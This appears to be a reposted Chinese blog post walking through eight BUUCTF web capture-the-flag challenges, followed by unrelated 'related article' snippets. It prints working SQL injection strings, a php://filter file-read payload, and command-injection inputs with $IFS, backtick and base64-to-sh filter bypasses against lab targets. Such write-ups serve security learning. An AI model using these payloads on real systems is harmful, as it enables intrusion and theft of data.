BUUCTF:Web 解析(一)

前言

Buuctf Web 是一个在线安全挑战平台,旨在提高参与者对网络安全的理解和实践能力。本文将详细介绍 Buuctf Web 的特点、挑战和机遇,帮助读者更好地了解这一领域。

一、Buuctf Web 的特点

多样化的挑战场景:Buuctf Web 提供了多种挑战场景,包括 Web 漏洞利用、密码破解、CTF 夺旗等,涵盖了网络安全领域的各个方面。
高质量的学习资源:平台提供了丰富的学习资源,包括视频教程、文章、案例分析等,帮助参与者提高技能水平。
实时排名和互动交流:Buuctf Web 支持实时排名和互动交流功能,参与者可以在平台上与其他选手一起讨论问题、分享经验。
二、Buuctf Web 的挑战

技术难度高:网络安全领域涉及的知识面广泛,技术难度较高,需要参与者具备较高的技术水平和学习能力。
时间压力大:在 CTF 夺旗等挑战中,时间是非常宝贵的资源,需要在有限的时间内快速定位问题并找到解决方案。
需要团队协作:在某些挑战中,需要团队协作才能更好地完成任务,如何有效地分工和协作也是一大挑战。
三、Buuctf Web 的机遇

提高技能水平:通过参与 Buuctf Web 的挑战,参与者可以不断提高自己的技能水平,增强在网络安全领域的竞争力。
拓展人脉资源:在平台上与其他选手交流互动,可以结识志同道合的朋友,拓展人脉资源。
获得实践机会:Buuctf Web 的挑战场景都是基于真实场景设计的,参与者在挑战中可以获得宝贵的实践机会。
为未来的工作做好准备:对于那些希望在未来从事网络安全相关工作的参与者来说,参与 Buuctf Web 可以为他们未来的工作做好准备。通过参与 Buuctf Web 的挑战,他们可以了解行业最新的动态和技术趋势,提高自己的职业竞争力。
四、如何参与 Buuctf Web 的挑战?

注册账号:首先需要在 Buuctf Web 平台上注册一个账号。
选择挑战场景:根据自己的兴趣和需求选择相应的挑战场景。
学习相关知识:为了更好地完成挑战,需要提前学习相关知识,如 Web 安全、密码学等。
参与挑战:按照挑战的要求完成相应的任务,与其他选手竞争排名。
交流与分享:在平台上与其他选手交流经验、分享技巧,共同提高技术水平。
总结:Buuctf Web 作为一个在线安全挑战平台,为网络安全爱好者提供了一个学习和交流的平台。通过参与 Buuctf Web 的挑战,不仅可以提高自己的技能水平,还可以拓展人脉资源、了解行业动态并为未来的工作做好准备。希望本文的介绍能帮助读者更好地了解 Buuctf Web 的特点、挑战和机遇,为未来的发展做好准备。

一、[极客大挑战 2019] EasySQL

点击链接进入靶场

登录页面,查看页面源代码发现没留注释

先输入 admin' or 1=1# 提交看看(根据题意猜测考察的 SQL 注入) 

显示 Flag 

二、[极客大挑战 2019] Havefun

打开靶场

页面只有一只猫,打开 F12 检查源代码

可以发现有段注释

<!--$cat=$_GET['cat'];echo $cat;if($cat=='dog'){echo 'Syc{cat_cat_cat_cat}';}-->

含义为如果参数名 cat = dog 值,则输出 flag

在 URL 后面手动构造参数:/?cat=dog 

三、[HCTF 2018] WarmUp

打开靶场

页面只有一个猥琐笑脸,F12 查看源代码发现有注释

URL 访问这个 PHP 文件

这里就考验的是代码审计了(大概过一下就行,看重点),观察代码可以发现有个 hint.php,尝试访问一下

提示了 Flag 文件地址,继续 URL 访问

根据 ffffllllaaaagggg 推测出大概路径 

四、[ACTF2020 新生赛] Include

打开靶场

先 F12 检查源代码

发现只有超链接,点击跳转

并没有任何提示,根据题目文件猜测考察的是文件包含

flag 就藏在 flag.php 文件中,所以推测采用的是 PHP 伪协议:php://filter -- 对本地磁盘文件进行读写

构造 payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php
# (base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码)

拿到字符串进行解码操作 

成功拿到 flag 

五、[ACTF2020 新生赛] Exec

打开靶场

先 F12 检查源代码并没有发现注释

给出提示 Ping 应该是要咱们输入地址然后 Ping,这里输入回环地址试试 

猜测存在漏洞,输入 | ls 测试

127.0.0.1 | ls

显示文件 index.php,证明存在漏洞 

继续测试上级目录

127.0.0.1 | ls /

发现 flag,查看内容

127.0.0.1 | cat /flag

六、[GXYCTF2019] Ping Ping Ping 

打开靶场

F12 检查源代码没有发现注释

根据网页内容和题目名推测是让咱在 URL 路径上跟上参数然后执行 Ping 命令,这里先跟个 127.0.0.1 试试

/?ip=127.0.0.1

有回显,推测存在漏洞

输入 | ls 测试

?ip=127.0.0.1 | ls

发现被过滤,不加空格试试 

?ip=127.0.0.1|ls

发现 flag.php 文件 

因为过滤了空格,所以要绕过一下(过滤了大多数符号,查看 index.php 文件即可) 

?ip=127.0.0.1|cat$IFS$9index.php# $IFS是一个环境变量,用于设置shell中的字段分隔符。在这里,它被用作特殊字符
# $9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串

发现很多都过滤了,但仍能绕过

方法一:利用变量代替关键字

/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

方法二: 内联执行

先执行 ls 命令,再执行 cat

/?ip=127.0.0.1;cat$IFS$9`ls`

方法三:编码绕过

使用 base64 编码的方式来绕过 flag 过滤

/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

七、[SUCTF 2019] EasySQL 

启动靶场

F12 检查源代码

输入 flag 测试

再输入数字型 1 测试

有回显,判断存在注入点,输入 1' 测试

没有回显,得盲注了,输入 1 # 测试

能显示正常结果,说明过滤做过滤,且能推测出数据库使用的是 MySQL(还可以输入 connection_id() 判断,结果与 1 是一致的) 

输入 1,1 测试

再输入 2,1 测试

再输入 2,2 测试发现结果不变,说明第一个字段值影响结果

输入 *,1 测试找到 flag

八、[强网杯 2019] 随便注

打开靶场

给出了一个默认值 1,先提交看看

输入 1' 测试是否为注入点

输入

1' or 1=1 #

继续测试字段数

1' order by 1 # 

测试到 3 时报错,说明只有两个字段

直接堆叠注入爆破数据库

0';show databases;#

继续爆表

1';show tables;#

先爆破数字表(一看就不简单)

1';show columns from `1919810931114514 `;#

发现 flag 列,但是查询时发现 select 被过滤

再查看另一张表

1’;show columns from words;#

将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询 

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

最后输入万能密码 1' or 1=1 #

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/6328.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

金属表面粗糙度对信号的影响

在进行PCB的传输线设计时&#xff0c;如果希望仿真结果更加贴合于实际的效果&#xff0c;就需要考虑很多的附加因素&#xff0c;比如&#xff0c;真实的叠构参数、介电常数、损耗角正切值、蚀刻因子、金属表面粗糙度、玻纤效应等&#xff0c;在常规的信号仿真中&#xff0c;前三…

springboot整合mybatis配置多数据源(mysql/oracle)

目录 前言导入依赖坐标创建mysql/oracle数据源配置类MySQLDataSourceConfigOracleDataSourceConfig application.yml配置文件配置mysql/oracle数据源编写Mapper接口编写Book实体类编写测试类 前言 springboot整合mybatis配置多数据源&#xff0c;可以都是mysql数据源&#xff…

基于RK1126的小型化低功耗AI相机,支持人体特征识别、人脸特征识别、案例帽识别等

提供可定制的⼀套 AI相机软硬件开发平台&#xff0c; 硬件采⽤ RockchipRV1126处理器解决 ⽅案&#xff0c;可选择搭配 SonyIMX系列传感器&#xff0c;POE供电与数据传输&#xff0c;采⽤ 38板标准结构设计&#xff0c;快速按需定制外壳&#xff0c;⽀撑从开发到验证到批量⽣产…

C#知识|事件集中响应,多个按钮关联同一事件(实例练习)

哈喽&#xff0c;你好&#xff0c;我是雷工&#xff01; 本节学习窗体Controls集合、控件事件的统一关联及如何优化重复代码。 01 事件集中响应 原理&#xff1a;就是相同的控件&#xff0c;可以关联同一个事件响应方法。 02 示例演示 2.1、示例功能 该示例实现窗体中选择…

基于php+mysql+html简单图书管理系统

博主介绍&#xff1a; 大家好&#xff0c;本人精通Java、Python、Php、C#、C、C编程语言&#xff0c;同时也熟练掌握微信小程序、Android等技术&#xff0c;能够为大家提供全方位的技术支持和交流。 我有丰富的成品Java、Python、C#毕设项目经验&#xff0c;能够为学生提供各类…

Springboot图片上传【本地+oss】

文章目录 1 前端组件页面2 本地上传3 上传到阿里云oss3.1申请开通账号&#xff0c;做好先导准备3.2 开始使用 1 前端组件页面 使用的VueElement组件 在线cdn引入&#xff1a; <script src"https://cdn.bootcdn.net/ajax/libs/vue/2.7.16/vue.js"></script&…

Typescript语法

常量声明 let用于声明变量&#xff0c;而const用于声明常量。两者的区别是变量在赋值后可以修改&#xff0c;而常量在赋值后便不能修改。 const b:number 200; 类型判断 如果一个变量或常量的声明包含了初始值&#xff0c;TS便可以根据初始值进行类型判断&#xff0c;此时…

有限元分析

TOC在这里插入代码片 **应力挤压时的横截面内部力 剪应力&#xff1a;应力的相反力 法向力&#xff1a;施加的压力 与应力垂直 你好&#xff01; 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章&#xff0c;了解…

STM32入门学习之DMA

1.直接存储访问DMA(Direct Memory Access)&#xff1a;DMA传输不需要CPU的参与&#xff0c;直接在内存和I/O设备间开辟了一条新的数据传输通道&#xff0c;不仅提高数据传输的速率&#xff0c;还因为不需要CPU的干预&#xff0c;从而提高了CPU的利用率。(注&#xff1a;文中的资…

小红书API接口封装 | 根据笔记链接采集笔记详情,含正文内容、发布时间、转评赞藏等

一、背景介绍 1.1 爬取目标 用python开发的爬虫采集软件&#xff0c;可自动按笔记链接抓取笔记的详情数据。 为什么有了源码还开发界面软件呢&#xff1f;方便不懂编程代码的小白用户使用&#xff0c;无需安装python&#xff0c;无需改代码&#xff0c;双击打开即用&#xf…

零基础学习数据库SQL语句之操作表中数据的DML语句

我们的数据库是根据页面原型和相关需求完成相关开发的 在表中添加数据 删除数据 修改数据 添加数据 页面模型 当点击保存的时候就能将表单数据提交到服务端 服务端将数据添加到数据库 我们要用insert语句 将数据添加到数据库中 代码演示 CREATE DATABASE Dduo; USE Dduo…

在2-3-4树上实现连接与分裂操作的算法与实现

在2-3-4树上实现连接与分裂操作的算法与实现 引言1. 维护2-3-4树结点的高度属性伪代码示例 2. 实现连接操作伪代码示例 3. 证明简单路径p的划分性质4. 实现分裂操作伪代码示例 C代码示例结论 引言 2-3-4树是一种平衡搜索树&#xff0c;它保证了树的高度被有效控制&#xff0c;…

git学习指南

文章目录 一.版本控制1.认识版本控制2.版本控制功能3.集中式版本控制4.分布式版本控制 二.Git的环境安装搭建1.Git的安装2.Git配置分类3.Git配置选项 三.Git初始化本地仓库1. git init/git clone-获取Git仓库2. 本地仓库文件的划分3. git status-检测文件的状态4. git add-文件…

【Redis面试题】Redis常见的一些高频面试题

分享几个Redis入门级常见面试过程中遇到的题目! 你项目中哪里使用到了redis?可以讲一讲嘛 这个题目无论是大公司还是小公司都经常考,建议大家根据自己的项目做总结 redis的几种基础数据结构 redis为什么那么快&#xff1f; 1.基于内存实现&#xff1a;我们都知道内存读写是…

【neteq】tgcall的调用、neteq的创建及接收侧统计

G:\CDN\P2P-DEV\Libraries\tg_owt\src\call\call.cc基本是按照原生webrtc的来的:G:\CDN\P2P-DEV\tdesktop-offical\Telegram\ThirdParty\tgcalls\tgcalls\group\GroupInstanceCustomImpl.cpptg对neteq的使用 worker 线程创建call Call的config需要neteqfactory Call::CreateAu…

STM32单片机实战开发笔记-EXIT外部中断检测

嵌入式单片机开发实战例程合集&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/11av8rV45dtHO0EHf8e_Q0Q?pwd28ab 提取码&#xff1a;28ab EXIT模块测试 功能描述 外部中断/事件控制器由19个产生事件/中断要求的边沿检测器组成。每个输入线可以独立地配置输入类型&a…

【C++】学习笔记——string_5

文章目录 六、string类7. string类的模拟实现8. string类的模拟实现的完整代码string.h头文件test.c源文件 9. string收尾写时拷贝 未完待续 六、string类 7. string类的模拟实现 我们之前讲了实现 insert &#xff0c;但是那个插入函数仅仅是在 pos 位置插入一个字符而且&am…

二、nodejs连接数据库实现登录功能

// 数据库下载可以用这个 DBeaver安装与使用教程&#xff08;超详细安装与使用教程&#xff09;&#xff0c;好用免费的数据库管理工具_dbeaver使用教程-CSDN博客 模块化 &#xff08;1&#xff09;新建一个叫Dao的文件夹&#xff0c;存接数据库代码 // 参考数据库 &#xf…

自动驾驶-第02课软件环境基础(ROSCMake)

1. 什么是ros 2. 为什么使用ros 3. ROS通信 3.1 Catkin编译系统

prometheus的安装与部署及其有点

一、Prometheus 的优点 1、非常少的外部依赖&#xff0c;安装使用超简单&#xff1b; 2、已经有非常多的系统集成 例如&#xff1a;docker HAProxy Nginx JMX等等&#xff1b; 3、服务自动化发现&#xff1b; 4、直接集成到代码&#xff1b; 5、设计思想是按照分布式、微服…